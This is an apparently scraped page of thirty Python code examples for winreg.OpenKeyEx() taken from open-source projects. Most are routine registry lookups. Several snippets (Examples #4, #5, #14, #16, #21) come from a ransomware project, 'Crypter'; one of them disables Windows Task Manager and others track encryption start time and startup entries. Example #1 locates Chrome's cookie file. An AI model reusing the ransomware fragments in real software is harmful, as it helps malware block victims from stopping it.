Python winreg.OpenKeyEx() Examples
The following are 30
code examples of winreg.OpenKeyEx().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
winreg
, or try the search function
.
Example #1
Source File: __init__.py From browser_cookie3 with GNU Lesser General Public License v3.0 | 7 votes |
def windows_group_policy_path(): # we know that we're running under windows at this point so it's safe to do these imports from winreg import ConnectRegistry, HKEY_LOCAL_MACHINE, OpenKeyEx, QueryValueEx, REG_EXPAND_SZ, REG_SZ try: root = ConnectRegistry(None, HKEY_LOCAL_MACHINE) policy_key = OpenKeyEx(root, r"SOFTWARE\Policies\Google\Chrome") user_data_dir, type_ = QueryValueEx(policy_key, "UserDataDir") if type_ == REG_EXPAND_SZ: user_data_dir = os.path.expandvars(user_data_dir) elif type_ != REG_SZ: return None except OSError: return None return os.path.join(user_data_dir, "Default", "Cookies") # Code adapted slightly from https://github.com/Arnie97/chrome-cookies
Example #2
Source File: twitch_launcher_client.py From galaxy-plugin-twitch with GNU General Public License v3.0 | 6 votes |
def _get_launcher_install_path(self) -> Optional[str]: if is_windows(): try: for h_root in (winreg.HKEY_CURRENT_USER, winreg.HKEY_LOCAL_MACHINE): with winreg.OpenKey(h_root, r"Software\Microsoft\Windows\CurrentVersion\Uninstall") as h_apps: for idx in range(winreg.QueryInfoKey(h_apps)[0]): try: with winreg.OpenKeyEx(h_apps, winreg.EnumKey(h_apps, idx)) as h_app_info: def get_value(key): return winreg.QueryValueEx(h_app_info, key)[0] if get_value("DisplayName") == self._LAUNCHER_DISPLAY_NAME: installer_path = get_value("InstallLocation") if os.path.exists(str(installer_path)): return installer_path except (WindowsError, KeyError, ValueError): continue except (WindowsError, KeyError, ValueError): logging.exception("Failed to get client install location") return None else: return None
Example #3
Source File: animation.py From coffeegrindsize with MIT License | 6 votes |
def _init_from_registry(cls): if sys.platform != 'win32' or rcParams[cls.exec_key] != 'convert': return import winreg for flag in (0, winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY): try: hkey = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, r'Software\Imagemagick\Current', 0, winreg.KEY_QUERY_VALUE | flag) binpath = winreg.QueryValueEx(hkey, 'BinPath')[0] winreg.CloseKey(hkey) break except Exception: binpath = '' if binpath: for exe in ('convert.exe', 'magick.exe'): path = os.path.join(binpath, exe) if os.path.exists(path): binpath = path break else: binpath = '' rcParams[cls.exec_key] = rcParamsDefault[cls.exec_key] = binpath
Example #4
Source File: TaskManager.py From Crypter with GNU General Public License v3.0 | 6 votes |
def enable(self): ''' @summary: Disables Windows Task Manager ''' key_exists = False # Try to read the key try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] winreg.CloseKey(reg) key_exists = True except: pass # If key exists and is disabled, enable it if key_exists and disabled: reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000000) winreg.CloseKey(reg)
Example #5
Source File: Crypter.py From Crypter with GNU General Public License v3.0 | 6 votes |
def get_start_time(self): ''' @summary: Get's Crypter's start time from the registry, or creates it if it doesn't exist @return: The time that the ransomware began it's encryption operation, in integer epoch form ''' # Try to open registry key try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) start_time = winreg.QueryValueEx(reg, "")[0] winreg.CloseKey(reg) # If failure, create the key except WindowsError: start_time = int(time.time()) reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) winreg.CloseKey(reg) return start_time
Example #6
Source File: animation.py From python3_ios with BSD 3-Clause "New" or "Revised" License | 6 votes |
def _init_from_registry(cls): if sys.platform != 'win32' or rcParams[cls.exec_key] != 'convert': return import winreg for flag in (0, winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY): try: hkey = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, r'Software\Imagemagick\Current', 0, winreg.KEY_QUERY_VALUE | flag) binpath = winreg.QueryValueEx(hkey, 'BinPath')[0] winreg.CloseKey(hkey) break except Exception: binpath = '' if binpath: for exe in ('convert.exe', 'magick.exe'): path = os.path.join(binpath, exe) if os.path.exists(path): binpath = path break else: binpath = '' rcParams[cls.exec_key] = rcParamsDefault[cls.exec_key] = binpath
Example #7
Source File: animation.py From GraphicDesignPatternByPython with MIT License | 6 votes |
def _init_from_registry(cls): if sys.platform != 'win32' or rcParams[cls.exec_key] != 'convert': return import winreg for flag in (0, winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY): try: hkey = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, r'Software\Imagemagick\Current', 0, winreg.KEY_QUERY_VALUE | flag) binpath = winreg.QueryValueEx(hkey, 'BinPath')[0] winreg.CloseKey(hkey) break except Exception: binpath = '' if binpath: for exe in ('convert.exe', 'magick.exe'): path = os.path.join(binpath, exe) if os.path.exists(path): binpath = path break else: binpath = '' rcParams[cls.exec_key] = rcParamsDefault[cls.exec_key] = binpath
Example #8
Source File: _registry.py From pipenv with MIT License | 6 votes |
def get_all_values(self): schema = {} for subkey in self: schema[subkey.name] = subkey.get_all_values() key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) try: with key: for i in count(): vname, value, vtype = winreg.EnumValue(key, i) value = get_value_from_tuple(value, vtype) if value: schema[vname or ''] = value except OSError: pass return PythonWrappedDict(schema)
Example #9
Source File: build_release.py From qutebrowser with GNU General Public License v3.0 | 6 votes |
def _get_windows_python_path(x64): """Get the path to Python.exe on Windows.""" parts = str(sys.version_info.major), str(sys.version_info.minor) ver = ''.join(parts) dot_ver = '.'.join(parts) if x64: path = (r'SOFTWARE\Python\PythonCore\{}\InstallPath' .format(dot_ver)) fallback = r'C:\Python{}\python.exe'.format(ver) else: path = (r'SOFTWARE\WOW6432Node\Python\PythonCore\{}-32\InstallPath' .format(dot_ver)) fallback = r'C:\Python{}-32\python.exe'.format(ver) try: key = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, path) return winreg.QueryValueEx(key, 'ExecutablePath')[0] except FileNotFoundError: return fallback
Example #10
Source File: _registry.py From pythonfinder with MIT License | 6 votes |
def get_all_values(self): schema = {} for subkey in self: schema[subkey.name] = subkey.get_all_values() key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) try: with key: for i in count(): vname, value, vtype = winreg.EnumValue(key, i) value = get_value_from_tuple(value, vtype) if value: schema[vname or ''] = value except OSError: pass return PythonWrappedDict(schema)
Example #11
Source File: _msvccompiler.py From Imogen with MIT License | 5 votes |
def _find_vc2015(): try: key = winreg.OpenKeyEx( winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\VisualStudio\SxS\VC7", access=winreg.KEY_READ | winreg.KEY_WOW64_32KEY ) except OSError: log.debug("Visual C++ is not registered") return None, None best_version = 0 best_dir = None with key: for i in count(): try: v, vc_dir, vt = winreg.EnumValue(key, i) except OSError: break if v and vt == winreg.REG_SZ and os.path.isdir(vc_dir): try: version = int(float(v)) except (ValueError, TypeError): continue if version >= 14 and version > best_version: best_version, best_dir = version, vc_dir return best_version, best_dir
Example #12
Source File: _winconsole.py From vistir with ISC License | 5 votes |
def query_registry_value(root, key_name, value): try: import winreg except ImportError: import _winreg as winreg try: with winreg.OpenKeyEx(root, key_name, 0, winreg.KEY_READ) as key: return get_value_from_tuple(*winreg.QueryValueEx(key, value)) except OSError: return None
Example #13
Source File: _winconsole.py From vistir with ISC License | 5 votes |
def _get_sid_from_registry(): try: import winreg except ImportError: import _winreg as winreg var_names = ("%USERPROFILE%", "%HOME%") current_user_home = next(iter(os.path.expandvars(v) for v in var_names if v), None) root, subkey = ( winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows NT\CurrentVersion\ProfileList", ) subkey_names = [] value = None matching_key = None try: with winreg.OpenKeyEx(root, subkey, 0, winreg.KEY_READ) as key: for i in count(): key_name = winreg.EnumKey(key, i) subkey_names.append(key_name) value = query_registry_value( root, r"{0}\{1}".format(subkey, key_name), "ProfileImagePath" ) if value and value.lower() == current_user_home.lower(): matching_key = key_name break except OSError: pass if matching_key is not None: return matching_key
Example #14
Source File: TaskManager.py From Crypter with GNU General Public License v3.0 | 5 votes |
def disable(self): ''' @summary: Disables Windows Task Manager ''' key_exists = False # Try to read the key try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] winreg.CloseKey(reg) key_exists = True except: pass # If key doesn't exist, create it and set to disabled if not key_exists: reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) winreg.CloseKey(reg) # If enabled, disable it elif key_exists and not disabled: reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) winreg.CloseKey(reg)
Example #15
Source File: _registry.py From pythonfinder with MIT License | 5 votes |
def __iter__(self): subkey_names = [] try: with winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) as key: for i in count(): subkey_names.append(winreg.EnumKey(key, i)) except OSError: pass return iter(self[k] for k in subkey_names)
Example #16
Source File: Crypter.py From Crypter with GNU General Public License v3.0 | 5 votes |
def __remove_from_startup_programs(self): ''' @summary: Removes Crypter from the list of startup programs @todo: Code and test ''' try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) winreg.DeleteValue(reg, "Crypter") winreg.CloseKey(reg) except WindowsError: pass
Example #17
Source File: _msvccompiler.py From setuptools with MIT License | 5 votes |
def _find_vc2015(): try: key = winreg.OpenKeyEx( winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\VisualStudio\SxS\VC7", access=winreg.KEY_READ | winreg.KEY_WOW64_32KEY ) except OSError: log.debug("Visual C++ is not registered") return None, None best_version = 0 best_dir = None with key: for i in count(): try: v, vc_dir, vt = winreg.EnumValue(key, i) except OSError: break if v and vt == winreg.REG_SZ and os.path.isdir(vc_dir): try: version = int(float(v)) except (ValueError, TypeError): continue if version >= 14 and version > best_version: best_version, best_dir = version, vc_dir return best_version, best_dir
Example #18
Source File: reader.py From pypykatz with MIT License | 5 votes |
def find_key(self, key_path, throw = True): if self.root is None: self.setup() if key_path == '' or key_path is None: return self.root key_path = self.hive_name + '\\' + key_path try: key = winreg.OpenKeyEx(self.root, key_path, access= winreg.KEY_READ) except Exception as e: if throw is True: raise e else: return None return key
Example #19
Source File: test_winsound.py From ironpython3 with Apache License 2.0 | 5 votes |
def has_sound(sound): """Find out if a particular event is configured with a default sound""" try: # Ask the mixer API for the number of devices it knows about. # When there are no devices, PlaySound will fail. if ctypes.windll.winmm.mixerGetNumDevs() == 0: return False key = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound)) return winreg.EnumValue(key, 0)[1] != "" except OSError: return False
Example #20
Source File: _registry.py From pythonfinder with MIT License | 5 votes |
def get_value(self, value_name): try: with winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) as key: return get_value_from_tuple(*winreg.QueryValueEx(key, value_name)) except OSError: return None
Example #21
Source File: Crypter.py From Crypter with GNU General Public License v3.0 | 5 votes |
def delete_registry_entries(self): ''' @summary: Deletes the timer registry key ''' # Open and delete the key try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) winreg.DeleteKeyEx(reg, "") winreg.CloseKey(reg) except WindowsError: # Ignore any Windows errors pass
Example #22
Source File: _registry.py From pipenv with MIT License | 5 votes |
def get_value(self, value_name): try: with winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) as key: return get_value_from_tuple(*winreg.QueryValueEx(key, value_name)) except OSError: return None
Example #23
Source File: test_winsound.py From Fluid-Designer with GNU General Public License v3.0 | 5 votes |
def has_sound(sound): """Find out if a particular event is configured with a default sound""" try: # Ask the mixer API for the number of devices it knows about. # When there are no devices, PlaySound will fail. if ctypes.windll.winmm.mixerGetNumDevs() == 0: return False key = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound)) return winreg.EnumValue(key, 0)[1] != "" except OSError: return False
Example #24
Source File: _msvccompiler.py From android_universal with MIT License | 5 votes |
def _find_vc2015(): try: key = winreg.OpenKeyEx( winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\VisualStudio\SxS\VC7", access=winreg.KEY_READ | winreg.KEY_WOW64_32KEY ) except OSError: log.debug("Visual C++ is not registered") return None, None best_version = 0 best_dir = None with key: for i in count(): try: v, vc_dir, vt = winreg.EnumValue(key, i) except OSError: break if v and vt == winreg.REG_SZ and os.path.isdir(vc_dir): try: version = int(float(v)) except (ValueError, TypeError): continue if version >= 14 and version > best_version: best_version, best_dir = version, vc_dir return best_version, best_dir
Example #25
Source File: _registry.py From pythonfinder with MIT License | 5 votes |
def delete(self): for k in self: k.delete() try: key = winreg.OpenKeyEx(self._root, None, 0, winreg.KEY_READ | self._flags) except OSError: return with key: winreg.DeleteKeyEx(key, self.subkey)
Example #26
Source File: overview_win.py From marsnake with GNU General Public License v3.0 | 5 votes |
def get_cpu_info(): reg = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor") flag = True model_name = "" num = _winreg.QueryInfoKey(reg)[0] reg2 = _winreg.OpenKeyEx(reg, _winreg.EnumKey(reg, 0)) model_name = _winreg.QueryValueEx(reg2, 'ProcessorNameString')[0] return "{} *{}".format(model_name, num)
Example #27
Source File: overview_win.py From marsnake with GNU General Public License v3.0 | 5 votes |
def get_network_card_info(): reg = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards") info = [] for i in range(6): try: descp = _winreg.QueryValueEx(_winreg.OpenKeyEx( reg, _winreg.EnumKey(reg, i)), 'Description')[0] info.append(descp) except: break return info
Example #28
Source File: _winconsole.py From pipenv with MIT License | 5 votes |
def _get_sid_from_registry(): try: import winreg except ImportError: import _winreg as winreg var_names = ("%USERPROFILE%", "%HOME%") current_user_home = next(iter(os.path.expandvars(v) for v in var_names if v), None) root, subkey = ( winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows NT\CurrentVersion\ProfileList", ) subkey_names = [] value = None matching_key = None try: with winreg.OpenKeyEx(root, subkey, 0, winreg.KEY_READ) as key: for i in count(): key_name = winreg.EnumKey(key, i) subkey_names.append(key_name) value = query_registry_value( root, r"{0}\{1}".format(subkey, key_name), "ProfileImagePath" ) if value and value.lower() == current_user_home.lower(): matching_key = key_name break except OSError: pass if matching_key is not None: return matching_key
Example #29
Source File: _registry.py From pipenv with MIT License | 5 votes |
def delete(self): for k in self: k.delete() try: key = winreg.OpenKeyEx(self._root, None, 0, winreg.KEY_READ | self._flags) except OSError: return with key: winreg.DeleteKeyEx(key, self.subkey)
Example #30
Source File: _registry.py From pipenv with MIT License | 5 votes |
def __iter__(self): subkey_names = [] try: with winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) as key: for i in count(): subkey_names.append(winreg.EnumKey(key, i)) except OSError: pass return iter(self[k] for k in subkey_names)